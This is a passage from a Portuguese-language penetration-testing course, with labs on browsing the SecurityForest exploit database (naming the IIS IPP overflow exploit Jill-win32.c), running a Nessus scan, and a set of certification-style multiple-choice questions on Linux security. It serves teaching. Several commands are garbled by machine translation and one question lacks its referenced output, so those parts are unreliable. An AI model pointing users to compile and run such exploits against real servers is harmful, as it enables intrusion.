disponíveis para cada passo de um teste de penetração e para as explorações estão disponíveis para as 
redes, sistemas e aplicações. 
 
Tempo estimado: 10 minutos. 
 
1- Abra o seu navegador e acesse www.securityforest.com. 
2- Você vai notar à esquerda da tela que várias árvores estão listadas. 
 
3- Clique na interface da árvore Exploit online. 
 
4- Esta página terá links para aplicações, sistemas e redes. Clique no link aplicações. 
 
5- Nesta página, você verá links para todas as aplicações que foram listados no banco de dados. Encontre 
o link para servidores web e clique no link para o aplicativo do IIS. 
 
6- Sob o IIS, localize o código de exploração Jill-win32.c. Depois de encontrar o código, você pode vê-lo 
clicando no botão vista. Se você identificou um servidor IIS susceptíveis ao buffer overflow de impressora 
IPP, esta ferramenta pode ser compilada e executada para aproveitar essa vulnerabilidade. 
 
7- Continue a explorar o SecurityForest site. Se você voltar para a página principal, você vai ver que há 
também um banco de dados de ferramentas sob o link árvore ferramenta que lista todas as ferramentas 
por categoria. 
8- Por fim, clique no link Exploitation Framework. O Exploitation Framework é semelhante ao banco de 
dados Metasploit, exceto que ele aproveita a enorme quantidade de façanhas na árvore de exploração. 
Um filme está disponível demonstra que a ferramenta em: 
http://www.securityforest.com/wiki/index.php/Exploitation_Framework_Screenshots 
A ferramenta para baseada em Web Browser para Windows pode ser baixada em: 
31 
 
www.securityforest.com/wiki/index.php/Exploitation_Framework_Download. 
 
5.2 Executando o Servidor Nessus 
Neste exercício, você irá executar o servidor Nessus e olhar para algumas de suas configurações. 
 
Tempo estimado: 30 minutos.1- Iniciar Knoppix STD. Os arquivos de instalação podem ser encontrados no CD ou pode ser baixado a 
partir de www.knoppix-std.org. 
2- Abra uma janela de terminal e certifique-se que você está executando como root. Se não, digite su. 
 
3- Você precisa adicionar um usuário para o servidor Nessus. Isto pode ser realizado, digitando Nessus-
adduser do prompt. 
 
4- Depois que um usuário é adicionado, você vai querer começar o daemon do servidor Nessus, 
digitando o seguinte: / etc / init.d início / nessusd. 
 
5- Uma vez que o daemon é iniciado, você pode digitar nessus na linha de comando para iniciar o cliente 
Nessus. Você agora será solicitado a fazer login para Nessus. Digite o nome de usuário e senha que você 
criou no passo 3. 
 
6- Clique em OK na página de aviso que alerta sobre plugins perigosos. Esta mensagem, basicamente, 
afirma que alguns plugins podem causar alguns servidores para falhar ou travar. Se você fosse para 
executar essa ferramenta em uma rede de produção, isto é algo que você gostaria de discutir com a 
administração antes de tomar uma decisão sobre como proceder. 
 
7- Navegue pelos parâmetros disponíveis em cada guia. Estes incluem: Plugins, Prefs, Opções de 
escaneamento, Seleção Target, e do usuário. 
 
8- Sob a guia de rede, digite o dispositivo de destino que você gostaria de escanear. Certifique-se de que 
este é um sistema que você tem permissão para executar uma varredura. Iniciar a avaliação, clicando em 
Iniciar o Scan. 
 
9- Na página de configuração de atualizações obter arquivos, selecione Sim, fazer o download dos 
arquivos de instalação atualizados (recomendado) e clique em Avançar. Você precisa se registrar para 
obter atualizações. Atualizações são de sete dias atrás para não-clientes pagantes. 
 
10- Após a verificação esteja concluída, revise os resultados. Esta informação pode ser adicionada ao seu 
relatório de teste indicando ter sido um ensaio real. 
 
11- O próximo passo de uma avaliação real seria patch, endurecer e atualizar os sistemas que foram 
encontrados de serem vulneráveis. 
32 
 
 
Questões de Preparação ao Exame. 
 
1. Como pode em uma lista de usuários Linux que processos estão funcionando, se ele suspeita que algo 
tenha sido carregado que não for aprovado? 
 A. netstat 
B. ls 
C. echo 
D. os 
2-Você foi contratado por Bob Burgers para escanear sua rede em busca de vulnerabilidades. Ele 
gostaria que você executasse uma verificação em nível de sistema. Qual dos seguintes programas 
você deve usar? 
A. Flawfinder 
B. N-Stealth 
C. SARA 
D. Whisker 
3- Você foi capaz de obter uma janela de terminal aberto em um servidor Linux remoto. Agora 
você precisa usar uma linha de comando em um navegador para baixar uma ferramenta de 
escalonamento de privilégios. Qual dos seguintes vai funcionar? 
A. TFTP 
B. Lynx 
C. Explorer 
D. Firefox 
4- Enquanto a mexia com o computador Linux de seu companheiro de quarto, você acessou seu 
passwd. Aqui está o que você encontrou. 
 root:x:0:0:root:/root:/bin/bash 
 bin:x:1:1:bin:/bin: 
 daemon:x:2:2:daemon:/sbin: 
 
Onde está o root da senha? 
A. Nenhuma senha foi definida. 
B. A senha foi sombreada (Shadow). 
33 
 
 C. A senha não é visível porque você não está logado como root. 
 D. A senha não é neste arquivo, é no SAM. 
5- Qual dos seguintes permitirá que você defina o usuário para acesso completo, o grupo só 
de leitura, e todos os outros não têm acesso? 
 A. chmod 777 
B. chroot 777 
C. chmod 740 
D. chroot 740 
6- Seu chefe de equipe lhe pediu para fazer alterações absolutas para permissões de um arquivo. 
Qual dos seguintes seria correto? 
 A. chroot a+rwx 
B. Chmod a+rwx 
C. chroot 320 
D. Chmod 320 
7- Qual dos seguintes não é um grupo de usuário válido no Linux? 
 A. System users 
B. Super users 
C. Guests 
D. Normal users 
8- Você foi explorar os arquivos e estrutura de diretório de servidor Linux novo. Quais são as 
entradas do arquivo / etc hosts / no arquivo registrado? 
A. O endereço IP, a máscara, e negar ou permitir o comunicado. 
 
 B. O endereço IP e o status de endereços aprovados ou negados. 
 
 C. O endereço IP, a máscara de sub-rede e gateway padrão. 
 
 D. O endereço IP, o nome da máquina, e nenhum nome alternativo. 
9- No prompt do seu servidor Linux, você entra cat / etc / passwd. Na linha de saída seguinte, o que é a 
função do 100? 
 A . A ID de usuário 
34 
 
 B. O usuário 100 criado. 
 
 C. A identificação de grupo. 
 
 D. Um valor binário. 
10- Onde é que um atacante localiza o arquivo de senha do sistema em uma máquina Linux, que é 
restrita a raiz e contém senhas criptografadas? 
A. /etc/hosts 
B. /etc/shadow 
C. /etc/passwd 
D. /etc/inetd.conf 
11- Nas versões mais modernas de uso Linux qual dos seguintes padrões de senha de criptografia por 
default? 
 A. MD5 
B. DES 
C. AES 
D. Diffie Hellman 
12- Qual dos seguintes é um rootkit LKM? 
 A . Flea 
B. T0rm 
C. Adore 
D. Chkroot 
13- Como pode ajudar a evitar a Tripwire contra cavalos de Tróia e rootkits? 
A. Ele ajuda você pegar alterações utilitários de sistema. 
 
 B. Ele endurece aplicações contra ataques. 
 
 C. Ele verifica código fonte da aplicação e encontra buffer overflows potenciais. 
 
 D. Ele constrói uma prisão que só dá hackers acesso a algumas pastas pré-definidas. 
14- Qual dos seguintes permitirá que você defina o usuário para acesso completo, o grupo de 
35 
 
leitura e de escrita, e todos os outros para acesso de leitura? 
 A. chmod 746 
B. chroot 644 
C. chmod 764 
D. chroot 746 
15- Quais dos seguintes programas podem ser usados para construir uma prisão em torno de um 
programa, como o FTP, para evitar que hackers tenham acesso a pastas e arquivos não 
autorizados? 
 A. Tripwire 
B. Chmod 
C. Loadable kernel modules 
D. Chrooting

Continue navegando